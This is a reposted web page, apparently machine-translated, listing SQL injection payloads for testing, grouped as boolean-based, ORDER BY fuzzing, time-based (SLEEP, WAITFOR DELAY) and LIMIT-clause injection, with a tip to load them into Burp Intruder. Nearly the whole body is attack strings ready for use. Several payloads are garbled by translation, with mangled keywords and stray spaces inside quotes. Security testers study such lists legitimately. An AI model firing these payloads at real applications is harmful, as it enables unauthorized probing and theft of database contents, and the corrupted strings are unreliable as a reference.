Share some of the usual SQL payloads for testing

Source: Internet
Author: User

1:bool sqlinjection

\

"
%df '
%DF "
and 1=1
and 1=2
' and ' 1 ' = ' 1
' and ' 1 ' = ' 2
"and" 1 "=" 1
"and" 1 "=" 2
) and (1=1
) and (1=2
') and (' 1 ' = ' 1
') and (' 1 ' = ' 2
% ' and 1=1 and '% ' = '
% ' and 1=2 and '% ' = ' x
% ') and 1=1 and ('% ' = ')
% ') and 1=2 and ('% ' = ' x
OR 1=1
OR 1=2
' OR 1=1---
' OR 1=2---
) OR 1=1---
) OR 1=2---
') OR 1=1---
') OR 1=2---
"OR" 1 "=" 1
"OR" 1 "=" 2
' OR ' 1 ' = ' 1
' OR ' 1 ' = ' 2
) OR (1=1
) OR (1=2
') OR (' 1 ' = ' 1
') OR (' 1 ' = ' 2

2:order by Sqlinjection Fuzz payload

(Case if (1=1) then 1 else (select 1 Union select 2) end)
(Case if (1=2) then 1 else (select 1 Union select 2) end)
, (n (1=1) then 1 else (select 1 Union select 2) end))
, (n (1=2) then 1 else (select 1 Union select 2) end))
, 1=if ((1=1), 1, (select 1 Union select 2))
, 1=if ((1=2), 1, (select 1 Union select 2))
, If ((1=1), 1, (select 1 Union SELECT 2))---
, If ((1=2), 1, (select 1 Union SELECT 2))---
, If ((1=1), Sleep (4), (SELECT 1 Union SELECT 2))---
-if ((1=1), 1, (select 1 UNION select 2))---
-if ((1=2), 1, (select 1 UNION select 2))---
-(1=1) then 1 else (select 1 Union select 2) end)
-(1=2) then 1 else (select 1 Union select 2) end)

3:time-base sqlinjection

'%2b (if ((1=1 and Sleep (4)), 1, (select 1 Union select 2)))%2b ' A
-if ((1=1), Sleep (4), (select 1 UNION select 2))---
';(Select 1 from (Select (Sleep (4))) lwup)---
; SELECT Sleep (4)
); SELECT sleep (4)---
; SELECT sleep (4)---
;(Select 1 from (Select (Sleep (4))) lwup)---
' and SLEEP (4)%23
and Sleep (4)
' and sleep (4) and ' 1 ' = ' 1
') and sleep (4) and (' 1 ' = ' 1
) and Sleep (4) and (1=1
"and sleep (4) and" 1 "="
') and (select (0) from (Select (Sleep (4))) x)---
and (select (0) from (Select (Sleep (4))) x)
and (select (0) from (Select (Sleep (4))) x) and 1=1
' and (select (0) from (Select (Sleep (4))) x) and ' 1 ' = ' 1
"and (select (0) from (Select (Sleep (4))) x) and" 1 "=" 1
) and (select (0) from (Select (Sleep (4))) x) and (1=1
') and (select (0) from (Select (Sleep (4))) x) and (' 1 ' = ' 1
Rlike (select (0) from (Select (Sleep (4))) x) and 1=1
' Rlike (select (0) from (Select (Sleep (4))) x) and ' 1 ' = ' 1
) rlike (select (0) from (Select (Sleep (4))) x) and (1=1
') rlike (select (0) from (Select (Sleep (4))) x) and (' 1 ' = ' 1
; waitfor DELAY ' 0:0:4 '---
'; waitfor delay ' 0:0:4 '---
); waitfor delay ' 0:0:4 '---
WAITFOR DELAY ' 0:0:4 '---
if (now () =sysdate (), Sleep (4), 0)/* ' XOR (if (now () =sysdate (), Sleep (4), 0)) or ' "XOR (if (now () =sysdate (), Sleep (4), 0)) or" */
(SELECT * FROM (Select (Sleep (4))) lwup)

4:limit sqlinjection

Procedure Analyse (Extractvalue (1,if (1=1,benchmark (1), 2)), 1)

You don't have to say it, put burp Instuder fuzz on the line.

Share some of the usual SQL payloads for testing

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.